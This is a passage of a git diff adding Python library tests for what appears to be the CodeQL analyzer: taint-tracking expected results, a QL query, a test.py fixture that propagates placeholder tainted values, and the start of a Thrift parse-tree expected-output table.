controlled string | test.py:7 | test.py:7:9:7:25 | Subscript | | --> | Taint externally controlled string | test.py:8 | test.py:8:9:8:9 | a | | +| Taint externally controlled string | test.py:8 | test.py:8:9:8:18 | Attribute() | | --> | Taint externally controlled string | test.py:9 | test.py:9:9:9:9 | b | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:26 | test.py:26:9:26:22 | tainted_string | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:27 | test.py:27:9:27:22 | tainted_string | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:28 | test.py:28:9:28:22 | tainted_string | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:29 | test.py:29:9:29:22 | tainted_string | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:30 | test.py:30:18:30:31 | tainted_string | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:31 | test.py:31:14:31:27 | tainted_string | | +| Taint externally controlled string | test.py:25 | test.py:25:22:25:28 | TAINTED | | --> | Taint externally controlled string | test.py:32 | test.py:32:9:32:22 | tainted_string | | +| Taint externally controlled string | test.py:26 | test.py:26:9:26:22 | tainted_string | | --> | Taint externally controlled string | test.py:26 | test.py:26:9:26:31 | Attribute() | | +| Taint externally controlled string | test.py:27 | test.py:27:9:27:22 | tainted_string | | --> | Taint externally controlled string | test.py:27 | test.py:27:9:27:29 | Attribute() | | +| Taint externally controlled string | test.py:28 | test.py:28:9:28:22 | tainted_string | | --> | Taint externally controlled string | test.py:28 | test.py:28:9:28:25 | Subscript | | +| Taint externally controlled string | test.py:29 | test.py:29:9:29:22 | tainted_string | | --> | Taint externally controlled string | test.py:29 | test.py:29:9:29:27 | Subscript | | +| Taint externally controlled string | test.py:30 | test.py:30:18:30:31 | tainted_string | | --> | Taint externally controlled string | test.py:30 | test.py:30:9:30:32 | reversed() | | +| Taint externally controlled string | test.py:31 | test.py:31:14:31:27 | tainted_string | | --> | Taint externally controlled string | test.py:31 | test.py:31:9:31:28 | copy() | | +| Taint externally controlled string | test.py:32 | test.py:32:9:32:22 | tainted_string | | --> | Taint externally controlled string | test.py:32 | test.py:32:9:32:30 | Attribute() | | +| Taint externally controlled string | test.py:35 | test.py:35:22:35:28 | TAINTED | | --> | Taint externally controlled string | test.py:36 | test.py:36:8:36:21 | tainted_string | | +| Taint externally controlled string | test.py:35 | test.py:35:22:35:28 | TAINTED | | --> | Taint externally controlled string | test.py:39 | test.py:39:23:39:36 | tainted_string | | +| Taint externally controlled string | test.py:42 | test.py:42:22:42:28 | TAINTED | | --> | Taint externally controlled string | test.py:43 | test.py:43:8:43:21 | tainted_string | | +| Taint externally controlled string | test.py:42 | test.py:42:22:42:28 | TAINTED | | --> | Taint externally controlled string | test.py:43 | test.py:43:34:43:47 | tainted_string | | +| Taint externally controlled string | test.py:42 | test.py:42:22:42:28 | TAINTED | | --> | Taint externally controlled string | test.py:46 | test.py:46:23:46:36 | tainted_string | | +| Taint externally controlled string | test.py:49 | test.py:49:22:49:28 | TAINTED | | --> | Taint externally controlled string | test.py:50 | test.py:50:13:50:26 | tainted_string | | +| Taint externally controlled string | test.py:49 | test.py:49:22:49:28 | TAINTED | | --> | Taint externally controlled string | test.py:51 | test.py:51:15:51:28 | tainted_string | | +| Taint externally controlled string | test.py:49 | test.py:49:22:49:28 | TAINTED | | --> | Taint externally controlled string | test.py:52 | test.py:52:15:52:28 | tainted_string | | +| Taint externally controlled string | test.py:50 | test.py:50:13:50:26 | tainted_string | | --> | Taint externally controlled string | test.py:50 | test.py:50:9:50:27 | str() | | +| Taint externally controlled string | test.py:51 | test.py:51:15:51:28 | tainted_string | | --> | Taint externally controlled string | test.py:51 | test.py:51:9:51:29 | bytes() | | +| Taint externally controlled string | test.py:52 | test.py:52:15:52:28 | tainted_string | | --> | Taint externally controlled string | test.py:52 | test.py:52:9:52:46 | bytes() | | +| Taint json[externally controlled string] | test.py:6 | test.py:6:20:6:45 | Attribute() | | --> | Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:20 | tainted_json | | +| Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:20 | tainted_json | | --> | Taint externally controlled string | test.py:7 | test.py:7:9:7:25 | Subscript | | +| Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:20 | tainted_json | | --> | Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:25 | Subscript | | +| Taint json[externally controlled string] | test.py:7 | test.py:7:9:7:25 | Subscript | | --> | Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:9 | a | | +| Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:9 | a | | --> | Taint externally controlled string | test.py:8 | test.py:8:9:8:18 | Attribute() | | +| Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:9 | a | | --> | Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:18 | Attribute() | | +| Taint json[externally controlled string] | test.py:8 | test.py:8:9:8:18 | Attribute() | | --> | Taint json[externally controlled string] | test.py:9 | test.py:9:9:9:9 | b | | +| Taint json[externally controlled string] | test.py:9 | test.py:9:9:9:9 | b | | --> | Taint externally controlled string | test.py:9 | test.py:9:9:9:14 | Subscript | | +| Taint json[externally controlled string] | test.py:9 | test.py:9:9:9:9 | b | | --> | Taint json[externally controlled string] | test.py:9 | test.py:9:9:9:14 | Subscript | | +| Taint {externally controlled string} | test.py:19 | test.py:19:20:19:31 | TAINTED_DICT | | --> | Taint {externally controlled string} | test.py:20 | test.py:20:9:20:20 | tainted_dict | | +| Taint {externally controlled string} | test.py:19 | test.py:19:20:19:31 | TAINTED_DICT | | --> | Taint {externally controlled string} | test.py:21 | test.py:21:9:21:20 | tainted_dict | | +| Taint {externally controlled string} | test.py:19 | test.py:19:20:19:31 | TAINTED_DICT | | --> | Taint {externally controlled string} | test.py:22 | test.py:22:9:22:20 | tainted_dict | | +| Taint {externally controlled string} | test.py:20 | test.py:20:9:20:20 | tainted_dict | | --> | Taint externally controlled string | test.py:20 | test.py:20:9:20:28 | Subscript | | +| Taint {externally controlled string} | test.py:21 | test.py:21:9:21:20 | tainted_dict | | --> | Taint externally controlled string | test.py:21 | test.py:21:9:21:23 | Subscript | | +| Taint {externally controlled string} | test.py:22 | test.py:22:9:22:20 | tainted_dict | | --> | Taint {externally controlled string} | test.py:22 | test.py:22:9:22:27 | Attribute() | | diff --git a/python/ql/test/library-tests/taint/strings/TestStep.ql b/python/ql/test/library-tests/taint/strings/TestStep.ql new file mode 100644 index 00000000000..90a4f5b4c3e --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/TestStep.ql @@ -0,0 +1,13 @@ +import python +import semmle.python.security.TaintTracking +import Taint + + +from TaintedNode n, TaintedNode s +where n.getLocation().getFile().getName().matches("%test.py") and +s.getLocation().getFile().getName().matches("%test.py") and +s = n.getASuccessor() +select + n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode(), n.getContext(), + " --> ", + s.getTrackedValue(), s.getLocation().toString(), s.getNode().getNode(), s.getContext() diff --git a/python/ql/test/library-tests/taint/strings/test.py b/python/ql/test/library-tests/taint/strings/test.py new file mode 100644 index 00000000000..3e359bf663f --- /dev/null +++ b/python/ql/test/library-tests/taint/strings/test.py @@ -0,0 +1,69 @@ +import json +from copy import copy + +def test_json(): + tainted_string = TAINTED + tainted_json = json.loads(tainted_string) + a = tainted_json["x"] + b = a.get("y") + c = b["z"] + +def test_list(x, y, z): + tainted_list = TAINTED_LIST + a = tainted_list[0] + b = tainted_list[x] + c = tainted_list[y:z] + d = tainted_list.copy() + +def test_dict(x): + tainted_dict = TAINTED_DICT + a = tainted_dict["name"] + b = tainted_dict[x] + c = tainted_dict.copy() + +def test_str(): + tainted_string = TAINTED + a = tainted_string.ljust(8) + b = tainted_string.copy() + c = tainted_string[:] + d = tainted_string[::2] + e = reversed(tainted_string) + f = copy(tainted_string) + h = tainted_string.strip() + +def test_const_sanitizer1(): + tainted_string = TAINTED + if tainted_string == "OK": + not_tainted(tainted_string) + else: + still_tainted(tainted_string) + +def test_const_sanitizer2(): + tainted_string = TAINTED + if tainted_string == "OK" or tainted_string == "ALSO_OK": + not_tainted(tainted_string) + else: + still_tainted(tainted_string) + +def test_str2(): + tainted_string = TAINTED + a = str(tainted_string) + b = bytes(tainted_string) # This is an error in Python 3 + c = bytes(tainted_string, encoding="utf8") # This is an error in Python 2 + +def cross_over(func, taint): + return func(taint) + +def test_exc_info(): + info = TAINTED_EXCEPTION_INFO + res = cross_over(exc_info_call, info) + +def exc_info_call(arg): + return arg + +def test_untrusted(): + ext = TAINTED_EXTERNAL_STRING + res = cross_over(untrusted_call, ext) + +def exc_untrusted_call(arg): + return arg diff --git a/python/ql/test/library-tests/thrift/Child.expected b/python/ql/test/library-tests/thrift/Child.expected new file mode 100644 index 00000000000..2a844932a86 --- /dev/null +++ b/python/ql/test/library-tests/thrift/Child.expected @@ -0,0 +1,571 @@ +| extended.thrift:3:8:3:11 | definition | 0 | extended.thrift:3:8:3:11 | struct User | +| extended.thrift:3:8:3:11 | name | 0 | extended.thrift:3:8:3:11 | IDENTIFIER User | +| extended.thrift:3:8:3:11 | struct User | 0 | extended.thrift:3:8:3:11 | name | +| extended.thrift:3:8:3:11 | struct User | 1 | extended.thrift:4:3:4:16 | field name | +| extended.thrift:3:8:3:11 | struct User | 2 | file://:0:0:0:0 | type_annotations | +| extended.thrift:3:8:48:15 | document | 0 | extended.thrift:3:8:3:11 | definition | +| extended.thrift:3:8:48:15 | document | 1 | extended.thrift:7:11:7:15 | definition | +| extended.thrift:3:8:48:15 | document | 2 | extended.thrift:12:9:12:16 | definition | +| extended.thrift:3:8:48:15 | document | 3 | extended.thrift:19:9:19:15 | definition | +| extended.thrift:3:8:48:15 | document | 4 | extended.thrift:21:9:21:40 | definition | +| extended.thrift:3:8:48:15 | document | 5 | extended.thrift:23:8:23:23 | definition | +| extended.thrift:3:8:48:15 | document | 6 | extended.thrift:31:6:31:12 | definition | +| extended.thrift:3:8:48:15 | document | 7 | extended.thrift:37:9:37:19 | definition | +| extended.thrift:3:8:48:15 | document | 8 | extended.thrift:46:14:46:30 | definition | +| extended.thrift:3:8:48:15 | document | 9 | extended.thrift:48:9:48:15 | definition | +| extended.thrift:3:8:48:15 | start | 0 | extended.thrift:3:8:48:15 | document | +| extended.thrift:4:3:4:3 | fieldid | 0 | extended.thrift:4:3:4:3 | INTCONSTANT 1 | +| extended.thrift:4:3:4:16 | field name | 0 | extended.thrift:4:3:4:3 | fieldid | +| extended.thrift:4:3:4:16 | field name | 2 | extended.thrift:4:6:4:11 | type string | +| extended.thrift:4:3:4:16 | field name | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:4:3:4:16 | field name | 4 | extended.thrift:4:13:4:16 | IDENTIFIER name | +| extended.thrift:4:3:4:16 | field name | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:4:3:4:16 | field name | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:4:3:4:16 | field name | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:4:6:4:11 | type string | 0 | extended.thrift:4:6:4:11 | STRING string | +| extended.thrift:4:6:4:11 | type string | 0 | extended.thrift:4:6:4:11 | type string | +| extended.thrift:7:11:7:15 | definition | 0 | extended.thrift:7:11:7:15 | exception Error | +| extended.thrift:7:11:7:15 | exception Error | 0 | extended.thrift:7:11:7:15 | name | +| extended.thrift:7:11:7:15 | exception Error | 1 | extended.thrift:8:3:8:13 | field what | +| extended.thrift:7:11:7:15 | exception Error | 2 | extended.thrift:9:3:9:15 | field why | +| extended.thrift:7:11:7:15 | name | 0 | extended.thrift:7:11:7:15 | IDENTIFIER Error | +| extended.thrift:8:3:8:3 | fieldid | 0 | extended.thrift:8:3:8:3 | INTCONSTANT 1 | +| extended.thrift:8:3:8:13 | field what | 0 | extended.thrift:8:3:8:3 | fieldid | +| extended.thrift:8:3:8:13 | field what | 2 | extended.thrift:8:6:8:8 | type i32 | +| extended.thrift:8:3:8:13 | field what | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:8:3:8:13 | field what | 4 | extended.thrift:8:10:8:13 | IDENTIFIER what | +| extended.thrift:8:3:8:13 | field what | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:8:3:8:13 | field what | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:8:3:8:13 | field what | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:8:6:8:8 | type i32 | 0 | extended.thrift:8:6:8:8 | I32 i32 | +| extended.thrift:8:6:8:8 | type i32 | 0 | extended.thrift:8:6:8:8 | type i32 | +| extended.thrift:9:3:9:3 | fieldid | 0 | extended.thrift:9:3:9:3 | INTCONSTANT 2 | +| extended.thrift:9:3:9:15 | field why | 0 | extended.thrift:9:3:9:3 | fieldid | +| extended.thrift:9:3:9:15 | field why | 2 | extended.thrift:9:6:9:11 | type string | +| extended.thrift:9:3:9:15 | field why | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:9:3:9:15 | field why | 4 | extended.thrift:9:13:9:15 | IDENTIFIER why | +| extended.thrift:9:3:9:15 | field why | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:9:3:9:15 | field why | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:9:3:9:15 | field why | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:9:6:9:11 | type string | 0 | extended.thrift:9:6:9:11 | STRING string | +| extended.thrift:9:6:9:11 | type string | 0 | extended.thrift:9:6:9:11 | type string | +| extended.thrift:12:9:12:16 | definition | 0 | extended.thrift:12:9:12:16 | service Extended | +| extended.thrift:12:9:12:16 | name | 0 | extended.thrift:12:9:12:16 | IDENTIFIER Extended | +| extended.thrift:12:9:12:16 | service Extended | 0 | extended.thrift:12:9:12:16 | name | +| extended.thrift:12:9:12:16 | service Extended | 1 | extended.thrift:14:4:14:15 | function getUser | +| extended.thrift:12:9:12:16 | service Extended | 2 | file://:0:0:0:0 | type_annotations | +| extended.thrift:14:4:14:7 | type User | 0 | extended.thrift:14:4:14:7 | IDENTIFIER User | +| extended.thrift:14:4:14:7 | type User | 0 | extended.thrift:14:4:14:7 | type User | +| extended.thrift:14:4:14:15 | function getUser | 0 | file://:0:0:0:0 | oneway | +| extended.thrift:14:4:14:15 | function getUser | 1 | extended.thrift:14:4:14:7 | type User | +| extended.thrift:14:4:14:15 | function getUser | 2 | extended.thrift:14:9:14:15 | name | +| extended.thrift:14:4:14:15 | function getUser | 3 | extended.thrift:14:17:14:24 | field id | +| extended.thrift:14:4:14:15 | function getUser | 4 | extended.thrift:14:35:14:47 | throws | +| extended.thrift:14:4:14:15 | function getUser | 5 | extended.thrift:15:5:15:47 | type_annotations | +| extended.thrift:14:9:14:15 | name | 0 | extended.thrift:14:9:14:15 | IDENTIFIER getUser | +| extended.thrift:14:17:14:17 | fieldid | 0 | extended.thrift:14:17:14:17 | INTCONSTANT 1 | +| extended.thrift:14:17:14:24 | field id | 0 | extended.thrift:14:17:14:17 | fieldid | +| extended.thrift:14:17:14:24 | field id | 2 | extended.thrift:14:19:14:21 | type i32 | +| extended.thrift:14:17:14:24 | field id | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:14:17:14:24 | field id | 4 | extended.thrift:14:23:14:24 | IDENTIFIER id | +| extended.thrift:14:17:14:24 | field id | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:14:17:14:24 | field id | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:14:17:14:24 | field id | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:14:19:14:21 | type i32 | 0 | extended.thrift:14:19:14:21 | I32 i32 | +| extended.thrift:14:19:14:21 | type i32 | 0 | extended.thrift:14:19:14:21 | type i32 | +| extended.thrift:14:35:14:35 | fieldid | 0 | extended.thrift:14:35:14:35 | INTCONSTANT 1 | +| extended.thrift:14:35:14:47 | field error | 0 | extended.thrift:14:35:14:35 | fieldid | +| extended.thrift:14:35:14:47 | field error | 2 | extended.thrift:14:37:14:41 | type Error | +| extended.thrift:14:35:14:47 | field error | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:14:35:14:47 | field error | 4 | extended.thrift:14:43:14:47 | IDENTIFIER error | +| extended.thrift:14:35:14:47 | field error | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:14:35:14:47 | field error | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:14:35:14:47 | field error | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:14:35:14:47 | throws | 0 | extended.thrift:14:35:14:47 | field error | +| extended.thrift:14:37:14:41 | type Error | 0 | extended.thrift:14:37:14:41 | IDENTIFIER Error | +| extended.thrift:15:5:15:16 | name | 0 | extended.thrift:15:5:15:16 | IDENTIFIER doggy.window | +| extended.thrift:15:5:15:25 | type_annotation | 0 | extended.thrift:15:5:15:16 | name | +| extended.thrift:15:5:15:25 | type_annotation | 1 | extended.thrift:15:20:15:25 | constvalue | +| extended.thrift:15:5:15:47 | type_annotations | 0 | extended.thrift:15:5:15:25 | type_annotation | +| extended.thrift:15:5:15:47 | type_annotations | 1 | extended.thrift:15:28:15:47 | type_annotation | +| extended.thrift:15:20:15:25 | constvalue | 0 | extended.thrift:15:20:15:25 | LITERAL "true" | +| extended.thrift:15:28:15:40 | name | 0 | extended.thrift:15:28:15:40 | IDENTIFIER doggy.howmuch | +| extended.thrift:15:28:15:47 | type_annotation | 0 | extended.thrift:15:28:15:40 | name | +| extended.thrift:15:28:15:47 | type_annotation | 1 | extended.thrift:15:44:15:47 | constvalue | +| extended.thrift:15:44:15:47 | constvalue | 0 | extended.thrift:15:44:15:47 | INTCONSTANT 1000 | +| extended.thrift:19:9:19:11 | type i32 | 0 | extended.thrift:19:9:19:11 | I32 i32 | +| extended.thrift:19:9:19:11 | type i32 | 0 | extended.thrift:19:9:19:11 | type i32 | +| extended.thrift:19:9:19:15 | definition | 0 | extended.thrift:19:9:19:15 | typedef int | +| extended.thrift:19:9:19:15 | typedef int | 0 | extended.thrift:19:9:19:11 | type i32 | +| extended.thrift:19:9:19:15 | typedef int | 1 | file://:0:0:0:0 | type_annotations | +| extended.thrift:19:9:19:15 | typedef int | 2 | extended.thrift:19:13:19:15 | name | +| extended.thrift:19:9:19:15 | typedef int | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:19:13:19:15 | name | 0 | extended.thrift:19:13:19:15 | IDENTIFIER int | +| extended.thrift:21:9:21:11 | type i64 | 0 | extended.thrift:21:9:21:11 | I64 i64 | +| extended.thrift:21:9:21:11 | type i64 | 0 | extended.thrift:21:9:21:11 | type i64 | +| extended.thrift:21:9:21:40 | definition | 0 | extended.thrift:21:9:21:40 | typedef shrubbery | +| extended.thrift:21:9:21:40 | typedef shrubbery | 0 | extended.thrift:21:9:21:11 | type i64 | +| extended.thrift:21:9:21:40 | typedef shrubbery | 1 | extended.thrift:21:13:21:29 | type_annotations | +| extended.thrift:21:9:21:40 | typedef shrubbery | 2 | extended.thrift:21:32:21:40 | name | +| extended.thrift:21:9:21:40 | typedef shrubbery | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:21:13:21:19 | name | 0 | extended.thrift:21:13:21:19 | IDENTIFIER foo.bar | +| extended.thrift:21:13:21:29 | type_annotation | 0 | extended.thrift:21:13:21:19 | name | +| extended.thrift:21:13:21:29 | type_annotation | 1 | extended.thrift:21:23:21:29 | constvalue | +| extended.thrift:21:13:21:29 | type_annotations | 0 | extended.thrift:21:13:21:29 | type_annotation | +| extended.thrift:21:23:21:29 | constvalue | 0 | extended.thrift:21:23:21:29 | LITERAL "hello" | +| extended.thrift:21:32:21:40 | name | 0 | extended.thrift:21:32:21:40 | IDENTIFIER shrubbery | +| extended.thrift:23:8:23:23 | definition | 0 | extended.thrift:23:8:23:23 | struct with_annotations | +| extended.thrift:23:8:23:23 | name | 0 | extended.thrift:23:8:23:23 | IDENTIFIER with_annotations | +| extended.thrift:23:8:23:23 | struct with_annotations | 0 | extended.thrift:23:8:23:23 | name | +| extended.thrift:23:8:23:23 | struct with_annotations | 1 | extended.thrift:25:5:25:22 | field i1 | +| extended.thrift:23:8:23:23 | struct with_annotations | 2 | extended.thrift:26:5:26:37 | field i2 | +| extended.thrift:23:8:23:23 | struct with_annotations | 3 | extended.thrift:27:5:27:20 | field nice | +| extended.thrift:23:8:23:23 | struct with_annotations | 4 | extended.thrift:29:5:29:21 | type_annotations | +| extended.thrift:25:5:25:5 | fieldid | 0 | extended.thrift:25:5:25:5 | INTCONSTANT 1 | +| extended.thrift:25:5:25:22 | field i1 | 0 | extended.thrift:25:5:25:5 | fieldid | +| extended.thrift:25:5:25:22 | field i1 | 2 | extended.thrift:25:17:25:19 | type int | +| extended.thrift:25:5:25:22 | field i1 | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:25:5:25:22 | field i1 | 4 | extended.thrift:25:21:25:22 | IDENTIFIER i1 | +| extended.thrift:25:5:25:22 | field i1 | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:25:5:25:22 | field i1 | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:25:5:25:22 | field i1 | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:25:17:25:19 | type int | 0 | extended.thrift:25:17:25:19 | IDENTIFIER int | +| extended.thrift:26:5:26:5 | fieldid | 0 | extended.thrift:26:5:26:5 | INTCONSTANT 2 | +| extended.thrift:26:5:26:37 | field i2 | 0 | extended.thrift:26:5:26:5 | fieldid | +| extended.thrift:26:5:26:37 | field i2 | 2 | extended.thrift:26:8:26:10 | type int | +| extended.thrift:26:5:26:37 | field i2 | 3 | extended.thrift:26:13:26:33 | type_annotations | +| extended.thrift:26:5:26:37 | field i2 | 4 | extended.thrift:26:36:26:37 | IDENTIFIER i2 | +| extended.thrift:26:5:26:37 | field i2 | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:26:5:26:37 | field i2 | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:26:5:26:37 | field i2 | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:26:8:26:10 | type int | 0 | extended.thrift:26:8:26:10 | IDENTIFIER int | +| extended.thrift:26:13:26:25 | name | 0 | extended.thrift:26:13:26:25 | IDENTIFIER type.annotate | +| extended.thrift:26:13:26:33 | type_annotation | 0 | extended.thrift:26:13:26:25 | name | +| extended.thrift:26:13:26:33 | type_annotation | 1 | extended.thrift:26:29:26:33 | constvalue | +| extended.thrift:26:13:26:33 | type_annotations | 0 | extended.thrift:26:13:26:33 | type_annotation | +| extended.thrift:26:29:26:33 | constvalue | 0 | extended.thrift:26:29:26:33 | LITERAL "foo" | +| extended.thrift:27:5:27:5 | fieldid | 0 | extended.thrift:27:5:27:5 | INTCONSTANT 3 | +| extended.thrift:27:5:27:20 | field nice | 0 | extended.thrift:27:5:27:5 | fieldid | +| extended.thrift:27:5:27:20 | field nice | 2 | extended.thrift:27:8:27:15 | type shubbery | +| extended.thrift:27:5:27:20 | field nice | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:27:5:27:20 | field nice | 4 | extended.thrift:27:17:27:20 | IDENTIFIER nice | +| extended.thrift:27:5:27:20 | field nice | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:27:5:27:20 | field nice | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:27:5:27:20 | field nice | 7 | extended.thrift:27:23:27:44 | type_annotations | +| extended.thrift:27:8:27:15 | type shubbery | 0 | extended.thrift:27:8:27:15 | IDENTIFIER shubbery | +| extended.thrift:27:23:27:37 | name | 0 | extended.thrift:27:23:27:37 | IDENTIFIER knights.who.say | +| extended.thrift:27:23:27:44 | type_annotation | 0 | extended.thrift:27:23:27:37 | name | +| extended.thrift:27:23:27:44 | type_annotation | 1 | extended.thrift:27:41:27:44 | constvalue | +| extended.thrift:27:23:27:44 | type_annotations | 0 | extended.thrift:27:23:27:44 | type_annotation | +| extended.thrift:27:41:27:44 | constvalue | 0 | extended.thrift:27:41:27:44 | LITERAL "ni" | +| extended.thrift:29:5:29:15 | name | 0 | extended.thrift:29:5:29:15 | IDENTIFIER struct.anno | +| extended.thrift:29:5:29:21 | type_annotation | 0 | extended.thrift:29:5:29:15 | name | +| extended.thrift:29:5:29:21 | type_annotation | 1 | extended.thrift:29:19:29:21 | constvalue | +| extended.thrift:29:5:29:21 | type_annotations | 0 | extended.thrift:29:5:29:21 | type_annotation | +| extended.thrift:29:19:29:21 | constvalue | 0 | extended.thrift:29:19:29:21 | LITERAL "y" | +| extended.thrift:31:6:31:12 | definition | 0 | extended.thrift:31:6:31:12 | enum Animals | +| extended.thrift:31:6:31:12 | enum Animals | 0 | extended.thrift:31:6:31:12 | name | +| extended.thrift:31:6:31:12 | enum Animals | 1 | extended.thrift:32:5:32:7 | enumfield cat | +| extended.thrift:31:6:31:12 | enum Animals | 2 | extended.thrift:33:5:33:9 | enumfield mouse | +| extended.thrift:31:6:31:12 | enum Animals | 3 | extended.thrift:34:5:34:7 | enumfield dog | +| extended.thrift:31:6:31:12 | enum Animals | 4 | extended.thrift:35:5:35:19 | type_annotations | +| extended.thrift:31:6:31:12 | name | 0 | extended.thrift:31:6:31:12 | IDENTIFIER Animals | +| extended.thrift:32:5:32:7 | enumfield cat | 0 | extended.thrift:32:5:32:7 | name | +| extended.thrift:32:5:32:7 | enumfield cat | 1 | extended.thrift:32:11:32:11 | enumvalue | +| extended.thrift:32:5:32:7 | enumfield cat | 2 | file://:0:0:0:0 | type_annotations | +| extended.thrift:32:5:32:7 | name | 0 | extended.thrift:32:5:32:7 | IDENTIFIER cat | +| extended.thrift:32:11:32:11 | enumvalue | 0 | extended.thrift:32:11:32:11 | INTCONSTANT 1 | +| extended.thrift:33:5:33:9 | enumfield mouse | 0 | extended.thrift:33:5:33:9 | name | +| extended.thrift:33:5:33:9 | enumfield mouse | 1 | extended.thrift:33:13:33:13 | enumvalue | +| extended.thrift:33:5:33:9 | enumfield mouse | 2 | file://:0:0:0:0 | type_annotations | +| extended.thrift:33:5:33:9 | name | 0 | extended.thrift:33:5:33:9 | IDENTIFIER mouse | +| extended.thrift:33:13:33:13 | enumvalue | 0 | extended.thrift:33:13:33:13 | INTCONSTANT 2 | +| extended.thrift:34:5:34:7 | enumfield dog | 0 | extended.thrift:34:5:34:7 | name | +| extended.thrift:34:5:34:7 | enumfield dog | 1 | file://:0:0:0:0 | enumvalue | +| extended.thrift:34:5:34:7 | enumfield dog | 2 | file://:0:0:0:0 | type_annotations | +| extended.thrift:34:5:34:7 | name | 0 | extended.thrift:34:5:34:7 | IDENTIFIER dog | +| extended.thrift:35:5:35:13 | name | 0 | extended.thrift:35:5:35:13 | IDENTIFIER enum.anno | +| extended.thrift:35:5:35:19 | type_annotation | 0 | extended.thrift:35:5:35:13 | name | +| extended.thrift:35:5:35:19 | type_annotation | 1 | extended.thrift:35:17:35:19 | constvalue | +| extended.thrift:35:5:35:19 | type_annotations | 0 | extended.thrift:35:5:35:19 | type_annotation | +| extended.thrift:35:17:35:19 | constvalue | 0 | extended.thrift:35:17:35:19 | LITERAL "x" | +| extended.thrift:37:9:37:19 | definition | 0 | extended.thrift:37:9:37:19 | service with_throws | +| extended.thrift:37:9:37:19 | name | 0 | extended.thrift:37:9:37:19 | IDENTIFIER with_throws | +| extended.thrift:37:9:37:19 | service with_throws | 0 | extended.thrift:37:9:37:19 | name | +| extended.thrift:37:9:37:19 | service with_throws | 1 | extended.thrift:39:4:39:12 | function foo | +| extended.thrift:37:9:37:19 | service with_throws | 2 | file://:0:0:0:0 | type_annotations | +| extended.thrift:39:4:39:8 | type int32 | 0 | extended.thrift:39:4:39:8 | IDENTIFIER int32 | +| extended.thrift:39:4:39:8 | type int32 | 0 | extended.thrift:39:4:39:8 | type int32 | +| extended.thrift:39:4:39:12 | function foo | 0 | file://:0:0:0:0 | oneway | +| extended.thrift:39:4:39:12 | function foo | 1 | extended.thrift:39:4:39:8 | type int32 | +| extended.thrift:39:4:39:12 | function foo | 2 | extended.thrift:39:10:39:12 | name | +| extended.thrift:39:4:39:12 | function foo | 3 | extended.thrift:39:14:39:21 | field id | +| extended.thrift:39:4:39:12 | function foo | 4 | extended.thrift:40:9:41:22 | throws | +| extended.thrift:39:4:39:12 | function foo | 5 | file://:0:0:0:0 | type_annotations | +| extended.thrift:39:10:39:12 | name | 0 | extended.thrift:39:10:39:12 | IDENTIFIER foo | +| extended.thrift:39:14:39:14 | fieldid | 0 | extended.thrift:39:14:39:14 | INTCONSTANT 1 | +| extended.thrift:39:14:39:21 | field id | 0 | extended.thrift:39:14:39:14 | fieldid | +| extended.thrift:39:14:39:21 | field id | 2 | extended.thrift:39:16:39:18 | type i32 | +| extended.thrift:39:14:39:21 | field id | 3 | file://:0:0:0:0 | type_annotations | +| extended.thrift:39:14:39:21 | field id | 4 | extended.thrift:39:20:39:21 | IDENTIFIER id | +| extended.thrift:39:14:39:21 | field id | 5 | file://:0:0:0:0 | fieldvalue | +| extended.thrift:39:14:39:21 | field id | 6 | file://:0:0:0:0 | xsdfieldoptions | +| extended.thrift:39:14:39:21 | field id | 7 | file://:0:0:0:0 | type_annotations | +| extended.thrift:39:16:39:18 | type i32 | 0 | extended.thrift:39:16:39:18 | I32 i32 | +| extended.thrift:39:16:39:18 | type i32 | 0 | extended.thrift:39:16:39:18 | type i32 | +| 